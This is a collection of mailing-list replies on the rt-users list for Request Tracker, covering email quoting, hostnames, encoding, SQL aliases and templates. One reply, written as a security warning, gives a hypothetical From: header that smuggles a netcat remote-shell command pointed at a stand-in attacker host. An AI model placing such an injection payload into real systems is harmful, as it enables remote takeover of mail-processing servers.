Re: [rt-users] Collapse email reply quotes
> One thing that I noticed is that during back-and-forth correspondence > with people through email, the length of the quoted text in people's > replies grows very large. Surely the right thing to do here is to educate the people in question on rudimentary email etiquette? You may not have the luxury of doing that for the people on the customer side, but surely all the people on *your* side can be trained in basic email quoting practice, ie, to edit that stuff down to what's actually relevant and useful to quote? /~\ The ASCII der Mouse \ / Ribbon Campaign X Against HTML [EMAIL PROTECTED] / \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B ___ http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users Community help: http://wiki.bestpractical.com Commercial support: [EMAIL PROTECTED] Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy a copy at http://rtbook.bestpractical.com We're hiring! Come hack Perl for Best Practical: http://bestpractical.com/about/jobs.html
Re: [rt-users] issues with RT on gentoo suddenly?
> Have you seen any issues with RT suddenly requiring a login for every > link that is clicked? Very annoying, and I am finding nothing in the > logs. Offhand, this sounds like "cookies are disabled". Have you checked out that possibility? /~\ The ASCII der Mouse \ / Ribbon Campaign X Against HTML [EMAIL PROTECTED] / \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B ___ http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users Community help: http://wiki.bestpractical.com Commercial support: [EMAIL PROTECTED] Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy a copy at http://rtbook.bestpractical.com We're hiring! Come hack Perl for Best Practical: http://bestpractical.com/about/jobs.html
Re: [rt-users] Hide email quoted text
> If instead you try to automate removal of quoted text, you get people > like me complaining that you can't do inline replies, Simplest thing here is to remove quoted lines - but only in a contiguous block at the end of the message. That'll nuke 90-95% of the problem, based on my (admittedly rather limited) experience with top-posters. /~\ The ASCII der Mouse \ / Ribbon Campaign X Against HTML [EMAIL PROTECTED] / \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B ___ http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users Community help: http://wiki.bestpractical.com Commercial support: [EMAIL PROTECTED] Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy a copy at http://rtbook.bestpractical.com We're hiring! Come hack Perl for Best Practical: http://bestpractical.com/about/jobs.html
Re: [rt-users] Internet Explorer Error
>> Hi, that problem has been solved My machine have the name >> rt_dev.example.com and i change to rtdev.example.com , and it works >> fine, the problem was the underscore. > That's not surprising... an underscore is not a valid character in a > hostname, if I recall the RFC correctly. This is true in only some contexts. Email, for example - SMTP does not permit underscores in domain names appearing in SMTP commands and responses. In most other contexts, underscores and miscellaneous other characters are permitted but discouraged. See, for example, the first paragraph of page 5 of RFC 2317. > I'm surprised your DNS server allowed it. All 256 octets are legal in DNS labels; any (supposedly) general-purpose DNS server that doesn't support them is broken. /~\ The ASCII der Mouse \ / Ribbon Campaign X Against HTML [EMAIL PROTECTED] / \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B ___ http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users Community help: http://wiki.bestpractical.com Commercial support: [EMAIL PROTECTED] Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy a copy at http://rtbook.bestpractical.com We're hiring! Come hack Perl for Best Practical: http://bestpractical.com/about/jobs.html
Re: [rt-users] Internet Explorer Error
> ([...]. Come to think of it, I'm pretty sure the same RFC prohibited
> a leading digit in a token -- i.e. 3com.com -- and I know that's been
> relaxed.)
Well, RFC 952 ("DOD INTERNET HOST TABLE SPECIFICATION") does say
1. A "name" (Net, Host, Gateway, or Domain name) is a text string up
to 24 characters drawn from the alphabet (A-Z), digits (0-9), minus
sign (-), and period (.). Note that periods are only allowed when
they serve to delimit components of "domain style names". (See
RFC-921, "Domain Name System Implementation Schedule", for
background). No blank or space characters are permitted as part of a
name. No distinction is made between upper and lower case. The first
character must be an alpha character. The last character must not be
a minus sign or period. A host which serves as a GATEWAY should have
"-GATEWAY" or "-GW" as part of its name. Hosts which do not serve as
Internet gateways should not use "-GATEWAY" and "-GW" as part of
their names. A host which is a TAC should have "-TAC" as the last
part of its host name, if it is a DoD host. Single character names
or nicknames are not allowed.
These restrictions may be what you're thinking of - but, as you say,
they are long outdated now. RFC952 also says the hosts file can be
fetched from 10.0.0.51
/~\ The ASCII der Mouse
\ / Ribbon Campaign
X Against HTML [EMAIL PROTECTED]
/ \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B
___
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
Community help: http://wiki.bestpractical.com
Commercial support: [EMAIL PROTECTED]
Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
Buy a copy at http://rtbook.bestpractical.com
We're hiring! Come hack Perl for Best Practical:
http://bestpractical.com/about/jobs.html
Re: [rt-users] PNG JPG LOGO
> The media browser in Firefox's page info shows the type as: > text/html, when it should be image/png. Don't know if this is > interesting or not. My first reaction is that this means the webserver doesn't recognize the .png extension as indicating that it should be served as image/png, and it's defaulting to serving it as text/html instead. If you fetch it manually, with wget or curl or their ilk, does it come back as image/png, or text/html? /~\ The ASCII der Mouse \ / Ribbon Campaign X Against HTML [EMAIL PROTECTED] / \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B ___ http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users Community help: http://wiki.bestpractical.com Commercial support: [EMAIL PROTECTED] Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy a copy at http://rtbook.bestpractical.com
Re: [rt-users] RT 3.6.1 CLI--how to pass in a newline
> Is there any way to pass in a new line character via the CLI? [...] > An actual return confuses the shell, This is a shell problem, then, and should be addressed as such. Every shell I've used has a way to get a newline into a command argument - though it's not always easy to find. Which shell do you use? /~\ The ASCII der Mouse \ / Ribbon Campaign X Against HTML [EMAIL PROTECTED] / \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B ___ http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users Community help: http://wiki.bestpractical.com Commercial support: [EMAIL PROTECTED] Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy a copy at http://rtbook.bestpractical.com
Re: [rt-users] date in search result not correct
> - If i search for "created >= 03/10/2006" i get the tickets created > on 02/10/2006 > - If i search for "created >= 03/10/2006 00:01" i get the tickets > created on 02/10/2006 > - If i search for "created >= 03/10/2006 24:00" i get the tickets > created on 03/10/2006 Just a guess, but could this be a timezone issue? If (for example) you're five hours from UTC, does a search for tickets >= some day return all tickets for the day before, or only tickets in the last five hours of the day before? /~\ The ASCII der Mouse \ / Ribbon Campaign X Against HTML [EMAIL PROTECTED] / \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B ___ http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users Community help: http://wiki.bestpractical.com Commercial support: [EMAIL PROTECTED] Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy a copy at http://rtbook.bestpractical.com
Re: [rt-users] Does RT have some sort of markup language?
> I've noticed that RT destroys indentation when I submit tickets.
I don't see that. What I see is that RT loses indentation when looking
at a ticket in the Web view, but if I use the "show the original text"
link ("[Download]" or some such), I get the original text, indentation
and all. It's only the Web interface that destroys indentation, in my
experience.
/~\ The ASCII der Mouse
\ / Ribbon Campaign
X Against HTML [EMAIL PROTECTED]
/ \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B
___
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
Community help: http://wiki.bestpractical.com
Commercial support: [EMAIL PROTECTED]
Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
Buy a copy at http://rtbook.bestpractical.com
Re: [rt-users] Generating readable Reports (accent problem/encoding)
> Whenever there are characters with accents, such as "á" (aacute), my > reports come out with "á". This is probably a conflict between RT, which likes to use UTF-8 for everything, and whatever you're using to display things, which probably uses Latin-1. Whether this is a bug or not can vary. For example, if you take a mail message which is (correctly) marked as being UTF-8 and look at it with a text display program, the display program normally will not parse mail headers and thus won't realize it's looking at UTF-8 text. But if you use a mail user agent to look at it, it's much more reasonable to consider it a bug if it doesn't handle the header markings correctly. > I took a look at the database and the accented characters where all > weird like the example above. > The RT web interface is fine and e-mails are fine too. This is exactly what I'd expect: the Web browser, and the email client, are handling UTF-8 correctly, but whatever you used to display the output of your database query was not. > I don?t really know wether it is a Perl problem, or a MySQL problem, > an RT bug etc... Based on just your descriptions, I'd say it's most likely a bug at the human-expectation level. :-) /~\ The ASCII der Mouse \ / Ribbon Campaign X Against HTML [EMAIL PROTECTED] / \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B ___ http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users Community help: http://wiki.bestpractical.com Commercial support: [EMAIL PROTECTED] Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy a copy at http://rtbook.bestpractical.com
Re: [rt-users] Spam email question
> Shredder doesn't like when an email address contains either a single-
> or double-qoute.
An email address, or the name associated with an email address? If it
really is broken enough to get upset when an email address includes
unbalanced quotes, it's, well, broken; "\(*&$%\""@example.com is a
perfectly good email address, as is '^#&!`|@example.com. (Some people
have even used such addresses, and find they don't get picked up by
spammer scrapeware - a useful property for email addresses to have.)
Even if it's the associated name, I'd call that somewhat broken. I
know someone who uses "Patrick O'Reilly" as the name portion of his
email address (not coincidentally, that's his name).
> Understandably so considering this messes with Perl and makes it look
> for a closing, matching mark.
I find that extremely disturbing, because it implies that RT is
encountering these things in contexts where its string parsing code is
kicking in. This makes me wonder if perhaps a mail bearing a header
like
From: "; system('cat /dev/null | nc evil.cracker.example.org 12345 | sh');
$dummy = " <[EMAIL PROTECTED]>
would do something nasty. (It would even be legal from an email point
of view.)
/~\ The ASCII der Mouse
\ / Ribbon Campaign
X Against HTML [EMAIL PROTECTED]
/ \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B
___
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
Community help: http://wiki.bestpractical.com
Commercial support: [EMAIL PROTECTED]
Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
Buy a copy at http://rtbook.bestpractical.com
Re: [rt-users] Spam email question
> I created a user called, for no reason in particular, > splat'[EMAIL PROTECTED] The error received is: > sh: -c: line 0: unexpected EOF while looking for matching `'' Eek! It's a *shell* reading that? Perhaps try for [EMAIL PROTECTED] and see what happens! This could have pretty hair-raising security implications /~\ The ASCII der Mouse \ / Ribbon Campaign X Against HTML [EMAIL PROTECTED] / \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B ___ http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users Community help: http://wiki.bestpractical.com Commercial support: [EMAIL PROTECTED] Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy a copy at http://rtbook.bestpractical.com
Re: [rt-users] Ticket Errors
[top-posting damage repaired manually -dM] >>>> SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id >>>> tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher' >>>> AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN >>>> Users u ON u.id = txn.NewValue WHERE t.id = X; >>> This query has me confused. There are lowercase letters placed by >>> themselves in locations I'm not used to seeing criteria placed. >> I'm jsut trying to help you figure out [...] > I know. I just didn't understand the SQL syntax. Then it would help to say *what* lowercase letters are puzzling you; there are lots of lowercase letters in that query, and without knowing which ones have you baffled, we're left guessing. I'm going to guess that the ones that are baffling you are the alias names, like "t" in "Tickets t" and "txn" in "Transactions txn" or "u" in "Users u". These are an alternative syntax for what you may know as "Tickets AS t" or "Transaction AS txn" or "Users AS u": providing an alternative name for referring to something elsewhere in the query (in this case presumably for brevity, but there are cases, such as using the same table multiple times, where this is actually necessary). /~\ The ASCII der Mouse \ / Ribbon Campaign X Against HTML [EMAIL PROTECTED] / \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B ___ http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users Community help: http://wiki.bestpractical.com Commercial support: [EMAIL PROTECTED] Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy a copy at http://rtbook.bestpractical.com
Re: [rt-users] Template problem resolved but poses another question
> It wasn't the code. I had removed a blank line after the initial
> Subject line and that's what nixed the whole thing.
> Subject: Created Ticket: {$Ticket->Subject}
> -
> When I put the blank line back in, all the code worked.
> Subject: Created Ticket: {$Ticket->Subject}
>
> -
I haven't been following this thread in all that much detail, but this
strikes me as probably being just a question of the template needing to
result in a valid message. Both RFC822 and RFC2822 (the old and new
versions of the message format spec) specify that an empty line marks
the boundary between the headers and the body.
That said, those RFCs are not the most helpful place from the
perspective of an RT user like you. It would be better for the RT docs
to _at least_ point to 2822, preferably to a brief summary of it with a
note that 2822 is the real authority and needs to be read for full
details. (I assume they don't already have such a pointer, or you
would have found it yourself; I haven't looked. This is an aspect of
RT I don't really know - I just know message format quite well from an
email perspective.)
/~\ The ASCII der Mouse
\ / Ribbon Campaign
X Against HTML [EMAIL PROTECTED]
/ \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B
___
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
Community help: http://wiki.bestpractical.com
Commercial support: [EMAIL PROTECTED]
Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
Buy a copy at http://rtbook.bestpractical.com
